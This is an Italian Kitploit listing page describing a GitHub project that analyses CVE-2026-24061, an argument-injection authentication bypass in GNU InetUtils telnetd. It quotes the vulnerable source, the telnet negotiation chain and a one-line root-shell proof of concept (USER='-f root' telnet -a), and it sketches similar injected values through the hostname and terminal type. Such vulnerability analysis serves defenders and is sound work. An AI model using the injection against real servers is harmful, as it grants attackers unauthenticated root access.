Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-24061 — Analisi tecnica approfondita e scanner per CVE-2026-24061, un bypass critico dell'autenticazione in GNU InetUtils telnetd, inclusi catena di exploit, PoC e dettagli sulla patch. | Kitploit
Strumenti/GitHubGitHub/buzz075/cve-2026-24061
Analisi delle VulnerabilitàExploitSicurezza di RetePenetration TestingAutenticazione
GitHubbuzz075/cve-2026-24061

CVE-2026-24061

Analisi tecnica approfondita e scanner per CVE-2026-24061, un bypass critico dell'autenticazione in GNU InetUtils telnetd, inclusi catena di exploit, PoC e dettagli sulla patch.

Vedi Repository
198 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-24061: Bypass dell'autenticazione in GNU InetUtils telnetd - Analisi Approfondita

Sommario Esecutivo

CVE-2026-24061 è una vulnerabilità critica (CVSS 9.8) di bypass remoto dell'autenticazione in GNU InetUtils telnetd che consente ad attaccanti non autenticati di ottenere immediatamente accesso root. La vulnerabilità deriva da una sanificazione impropria della variabile d'ambiente USER, che viene passata direttamente a /usr/bin/login come argomento da riga di comando. Impostando USER=-f root, un attaccante attiva il flag -f di login, che bypassa completamente l'autenticazione.

Versioni Affette: GNU InetUtils 1.9.3 fino alla 2.7 Tipo di Vulnerabilità: CWE-88 (Iniezione di Argomenti) Data di Scoperta: 20 gennaio 2026 Scopritore: Kyu Neushwaistein (alias Carlos Cortes Alvarez)


Parte 1: Analisi Tecnica Dettagliata

Il Flusso del Codice Vulnerabile

1. Template di Invocazione di Login (telnetd/telnetd.c, righe ~49-63)

La vulnerabilità inizia con una stringa template di comando che definisce come telnetd invoca /usr/bin/login:

/* Template command line for invoking login program. */
char *login_invocation =
#ifdef SOLARIS10
  PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
#elif defined SOLARIS
  PATH_LOGIN " -h %h %?T{%T} %?u{-- %u}{%U}"
#else /* !SOLARIS */
  PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
#endif
;

Osservazione Chiave: Su sistemi non Solaris, il template utilizza:

  • %?u{-f %u}{%U} - Questa è un'espressione condizionale che significa:
    • Se user_name è impostato (%u), usa -f %u (autologin autenticato)
    • Altrimenti, usa %U (la variabile d'ambiente USER come fallback)

Il problema critico: %U si espande alla variabile d'ambiente USER grezza e non sanificata.

2. Funzione di Espansione delle Variabili (telnetd/utility.c, _var_short_name())

La stringa template viene elaborata da expand_line(), che chiama _var_short_name() per espandere i segnaposto. Ecco il codice vulnerabile:

/* Expand a variable referenced by its short one-symbol name. */
char *
_var_short_name (struct line_expander *exp)
{
  char *q;
  char timebuf[64];
  time_t t;

  switch (*exp->cp++)
    {
    case 'a':
#ifdef AUTHENTICATION
      if (auth_level >= 0 && autologin == AUTH_VALID)
        return xstrdup ("ok");
#endif
      return NULL;

    case 'd':
      time (&t);
      strftime (timebuf, sizeof (timebuf),
                "%l:%M%p on %A, %d %B %Y", localtime (&t));
      return xstrdup (timebuf);

    case 'h':
      return xstrdup (remote_hostname);  // POTENZIALMENTE VULNERABILE

    case 'l':
      return xstrdup (local_hostname);

    case 'L':
      return xstrdup (line);

    case 't':
      q = strchr (line + 1, '/');
      if (q)
        q++;
      else
        q = line;
      return xstrdup (q);

    case 'T':
      return terminaltype ? xstrdup (terminaltype) : NULL;  // POTENZIALMENTE VULNERABILE

    case 'u':
      return user_name ? xstrdup (user_name) : NULL;

    case 'U':
      return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");  // VULNERABILE!

    default:
      exp->state = EXP_STATE_ERROR;
      return NULL;
    }
}

Il Bug Critico (caso 'U'): La variabile d'ambiente USER viene recuperata tramite getenv() e passata senza alcuna sanificazione. Quando un attaccante imposta USER=-f root, questa diventa parte della riga di comando di login.

3. Funzione di Avvio Login (telnetd/pty.c, start_login())

La stringa di invocazione di login espansa viene eseguita in start_login():

/* Construct login command from template */
argcv_string (argcv_length (argv, NULL), argv, &login_cmd);
  
/* Execute login - this runs: /usr/bin/login -p -h <hostname> -f root */
execv (argv[0], argv);

La Catena di Sfruttamento

  1. L'attaccante si connette a telnetd (porta 23)

  2. Avviene la negoziazione delle opzioni Telnet:

    • Il server invia IAC DO NEW_ENVIRON
    • Il client risponde con IAC WILL NEW_ENVIRON
    • Il server invia IAC SB NEW_ENVIRON SEND (richiedendo l'ambiente)
    • L'attaccante invia: IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
  3. Il server elabora la variabile USER:

    • getenv("USER") restituisce -f root
    • Il template %U si espande a -f root
    • Comando finale: /usr/bin/login -p -h <hostname> -f root
  4. Login interpreta -f root:

    • Il flag -f significa "salta l'autenticazione, l'utente è pre-autenticato"
    • root è il nome utente con cui accedere
    • Risultato: Shell root immediata senza alcuna richiesta di password!

Prova di Concetto

# Sulla macchina dell'attaccante:
USER='-f root' telnet -a <target_ip>

Il flag -a abilita la modalità di login automatico, che invia la variabile d'ambiente USER al server.


Parte 2: Analisi di Altre Variabili Potenzialmente Vulnerabili

L'avviso di sicurezza nota esplicitamente: "Pertanto esiste il potenziale per vulnerabilità simili per altre variabili." Analizziamo ogni variabile in _var_short_name():

Tabella di Analisi delle Variabili

VarNomeOrigineControllabile dall'Utente?Sanificata?Superficie di Attacco
%UVariabile env USERgetenv("USER")SÌ (tramite NEW_ENVIRON)NOCRITICA - CVE-2026-24061
%hremote_hostnameRicerca DNS/PTRParziale (record PTR)NOALTA
%TterminaltypeOpzione TERMINAL-TYPESÌNOMEDIA
%uuser_nameNegoziazione protocolloSÌNOMEDIA (richiede autenticazione)
%llocal_hostnameConfigurazione di sistemaNON/DBASSA
%Llinea (TTY)Assegnata dal sistemaNON/DBASSA
%tnome breve ttyAssegnata dal sistemaNON/DBASSA
%ddata/oraOrologio di sistemaNON/DNESSUNA
%astato autenticazioneStato internoNON/DNESSUNA

Analisi Dettagliata delle Variabili Potenzialmente Vulnerabili

1. %h - Nome Host Remoto (RISCHIO ALTO)

Origine: Popolato in telnetd_setup() da telnetd.c tramite getnameinfo() o gethostbyaddr().

Il Problema: Se un attaccante controlla il proprio record PTR (DNS inverso), potrebbe potenzialmente iniettare:

foo -f root

Come proprio nome host, che diventerebbe parte dell'argomento -h:

/usr/bin/login -p -h "foo -f root" ...

Difficoltà di Sfruttamento:

  • Richiede il controllo del DNS inverso
  • Alcune implementazioni di login potrebbero citare o validare il nome host
  • Più complesso dell'iniezione di USER

Scenario nel Mondo Reale: Un attaccante con il controllo del record PTR del proprio IP (comune per i provider VPS) potrebbe impostare il proprio DNS inverso a un valore dannoso.

2. %T - Tipo di Terminale (RISCHIO MEDIO)

Origine: Ricevuto tramite la sub-negoziazione Telnet TERMINAL-TYPE, memorizzato nella variabile terminaltype.

Il Problema: La stringa del tipo di terminale è controllata dall'attaccante e non sanificata:

case 'T':
  return terminaltype ? xstrdup (terminaltype) : NULL;

Utilizzo nei Template:

  • SOLARIS10: %?T{-t %T} - Usato con il flag -t
  • SOLARIS: %?T{%T} - Inserito direttamente

Attacco Potenziale:

TERMINAL-TYPE: xterm -f root

Tuttavia, lo sfruttamento dipende da:

  • Il template che usa %T (attualmente solo Solaris)
  • Come login gestisce l'argomento -t

3. %u - Nome Utente Autenticato (RISCHIO MEDIO)

Origine: Impostato durante la negoziazione dell'autenticazione.

Il Problema: Usato nel pattern -f %u:

PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
Scarica lo strumento